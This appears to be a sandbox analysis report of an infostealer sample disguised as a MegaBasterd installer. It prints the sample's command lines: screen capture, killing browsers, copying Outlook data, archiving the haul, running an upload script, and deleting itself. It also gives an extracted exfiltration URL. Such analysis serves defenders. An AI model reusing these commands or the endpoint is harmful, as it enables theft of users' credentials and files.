Overview

overview

10

Static

static

3

2026-07-19...lc.exe

windows10-2004-x64

10

2026-07-19...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 04:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-19_07ff06af8a76e07497c9292fc72302ff_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 80.2MB
  • Sample260719-e2y5yabx3k
  • SHA256 a024d5b73dae28889cf052e60cc8de86ab7fad45f13b3a6fa1316ff58531ade0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionspywarestealer

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://whale-complex.site/upload.php

Signatures

  • Detect binaries embedding considerable number of MFA browser extension IDs. 4 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 4 IoCs
  • Detects PowerShell content designed to retrieve passwords from host 5 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_07ff06af8a76e07497c9292fc72302ff_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_07ff06af8a76e07497c9292fc72302ff_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5536
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      PID:3436
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\6405e0a7\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5376
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\6405e0a7\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1684
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\discord.ps1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\discord.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2260
          • C:\Windows\system32\taskkill.exe
            "C:\Windows\system32\taskkill.exe" /F /IM chrome.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1840
          • C:\Windows\system32\taskkill.exe
            "C:\Windows\system32\taskkill.exe" /F /IM msedge.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5980
          • C:\Windows\system32\taskkill.exe
            "C:\Windows\system32\taskkill.exe" /F /IM brave.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1648
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Microsoft\Outlook" "C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\Outlook" /E /R:0 /W:0 >nul
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Windows\system32\Robocopy.exe
          robocopy "C:\Users\Admin\AppData\Local\Microsoft\Outlook" "C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\Outlook" /E /R:0 /W:0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5560
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\outlook_cred.ps1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\outlook_cred.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4872
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect" "C:\Users\Admin\AppData\Local\Temp\6405e0a7\data" /E /R:0 /W:0 >nul
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\system32\Robocopy.exe
          robocopy "C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect" "C:\Users\Admin\AppData\Local\Temp\6405e0a7\data" /E /R:0 /W:0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4916
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "C:\Users\Admin\AppData\Local\Temp\av_tmp.txt" 2>nul
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3440
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6072
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey" > "C:\Users\Admin\AppData\Local\Temp\key_tmp.txt"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:800
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1880
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\6405e0a7\data\Outlook" 2>nul | find /c /v "" > "C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" dir /s /b "C:\Users\Admin\AppData\Local\Temp\6405e0a7\data\Outlook" 2>nul"
          4⤵
            PID:1476
          • C:\Windows\system32\find.exe
            find /c /v ""
            4⤵
              PID:5504
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\6405e0a7\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\6405e0a7\1KaLmIg2.zip' -Force"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\6405e0a7\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\6405e0a7\1KaLmIg2.zip' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1292
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\upload_full.ps1"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4260
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\6405e0a7\upload_full.ps1"
              4⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5976
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd.exe"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4856
            • C:\Windows\system32\cmd.exe
              cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd.exe"
              4⤵
                PID:3664
          • C:\Program Files\Java\jre-1.8\bin\javaw.exe
            "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd_8.57.Jar"
            2⤵
            • Loads dropped DLL
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:3212

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 5c82c62eecc8fdec335cbc59f90f9f170ef4c8a90e93c9a8030184a9a59d988a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 33209aeab3018a759b3b3e79910241761af29e06bc80c1bceb1dff055ec73b9c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 f57a0d4a644be0ef97d7b3f331c3573db0da7bd80c61d8906cbfc4b66bb416d7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 462597a6ba1242bb307b82e781b811b2c93837b47c7d4e63d7c1458810c2a078
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              1KaLmIg2.zip
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\1KaLmIg2.zip
              • Size 523KB
              • SHA256 aff94c22adcf6ddfa6828176923d39e027e1a66a63279b783ed33dce7d4758c2
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              discord_tokens.txt
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\discord_tokens.txt
              • Size 38B
              • SHA256 28a601045c4111bd7f5aabd315ca80937e9e5a191c7a07978e426680e1d5ee5e
              • MD5 SHA1 SHA512
              Submit Download

              info.txt
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\info.txt
              • Size 613B
              • SHA256 b75df5f7dda358c79158d96252cb69d32b47a3e0da71fd0a5c5481a0a973e8eb
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              tokens_debug.log
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\tokens_debug.log
              • Size 549B
              • SHA256 7185b86dbd6d062d829474db58683312716f87a28021c802c7487046070c58b2
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              valid_tokens.txt
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\collect\valid_tokens.txt
              • Size 50B
              • SHA256 08af30fd204f415d8e693e225bb3b6d738cbe3d5612ec989c7008664ec5b3d5c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              credentials_temp.txt
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\credentials_temp.txt
              • Size 5B
              • SHA256 f01a374e9c81e3db89b3a42940c4d6a5447684986a1296e42bf13f196eed6295
              • MD5 SHA1 SHA512
              Submit Download

              discord.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\discord.ps1
              • Size 3KB
              • SHA256 20e46b0ea89682f5ff65113cdc38570552f8e092bd6847218952e6eb5c4d0f7c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              outlook_cred.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\outlook_cred.ps1
              • Size 614B
              • SHA256 a5f6746e9c10dfc340782e9df5a928e2aa82cd80d63290d04aca3774fa60c0ab
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              screenshot.png
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\screenshot.png
              • Size 539KB
              • SHA256 868c415d5624c9dad402a1d177d3268a6703ca28fd5e6af5ef6de93548cd73df
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              upload_full.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\upload_full.ps1
              • Size 1KB
              • SHA256 fe2ddd5c63ae3df49d6ec903e649923e81806484f7367280ce4e011d50b9eceb
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              upload_resp.txt
              • Path C:\Users\Admin\AppData\Local\Temp\6405e0a7\upload_resp.txt
              • Size 64B
              • SHA256 90eb2b7c4467877c97b1fb8c1d1befa9df9a55ff1968b5e7d57178269f88de39
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              MegaBasterd.exe
              • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\MegaBasterd.exe
              • Size 125KB
              • SHA256 49dd857a9ac651e7312b823c125bd0d79ce4729bb35621541e5875543f42966c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_pfs0xicb.iub.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfs0xicb.iub.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              av_tmp.txt
              • Path C:\Users\Admin\AppData\Local\Temp\av_tmp.txt
              • Size 6B
              • SHA256 2e08d1f6000aef541797d008c05ac36f4dbebfb36cbac5615788e6fcc5b300a7
              • MD5 SHA1 SHA512
              Submit Download

              cnt_tmp.txt
              • Path C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt
              • Size 3B
              • SHA256 13bf7b3039c63bf5a50491fa3cfd8eb4e699d1ba1436315aef9cbe5711530354
              • MD5 SHA1 SHA512
              Submit Download

              sqlite-3.43.0.0-b0ecc676-0cb0-450d-aa0e-3183e6b81371-sqlitejdbc.dll
              • Path C:\Users\Admin\AppData\Local\Temp\sqlite-3.43.0.0-b0ecc676-0cb0-450d-aa0e-3183e6b81371-sqlitejdbc.dll
              • Size 926KB
              • SHA256 7f99b81b58540d3e08a8766b0cf06857afb1550d285ef6d1be4a29e504f5c09f
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/1292-75-0x000001DC1CE00000-0x000001DC1CE12000-memory.dmp
              Download

              memory/1292-72-0x000001DC1CE00000-0x000001DC1CE1E000-memory.dmp
              Download

              memory/1292-76-0x000001DC1CDF0000-0x000001DC1CDFA000-memory.dmp
              Download

              memory/1292-74-0x000001DC1CDF0000-0x000001DC1CDFA000-memory.dmp
              Download

              memory/1292-73-0x000001DC1CE20000-0x000001DC1CED2000-memory.dmp
              Download

              memory/1684-19-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-18-0x0000024FFE470000-0x0000024FFE492000-memory.dmp
              Download

              memory/1684-23-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-20-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-22-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-26-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-21-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-17-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/1684-14-0x00007FFA0545F000-0x00007FFA05460000-memory.dmp
              Download

              memory/1684-27-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp
              Download

              memory/3212-151-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-243-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-109-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-301-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-261-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-173-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-181-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-187-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-216-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-230-0x000001F227FB0000-0x000001F227FB1000-memory.dmp
              Download

              memory/3212-244-0x00007FFA10810000-0x00007FFA108FF000-memory.dmp
              Download

              memory/3436-90-0x00007FF78D5D0000-0x00007FF78D5F7000-memory.dmp
              Download

              memory/3436-61-0x00007FF78D5D0000-0x00007FF78D5F7000-memory.dmp
              Download

              memory/3436-11-0x00007FF78D5D0000-0x00007FF78D5F7000-memory.dmp
              Download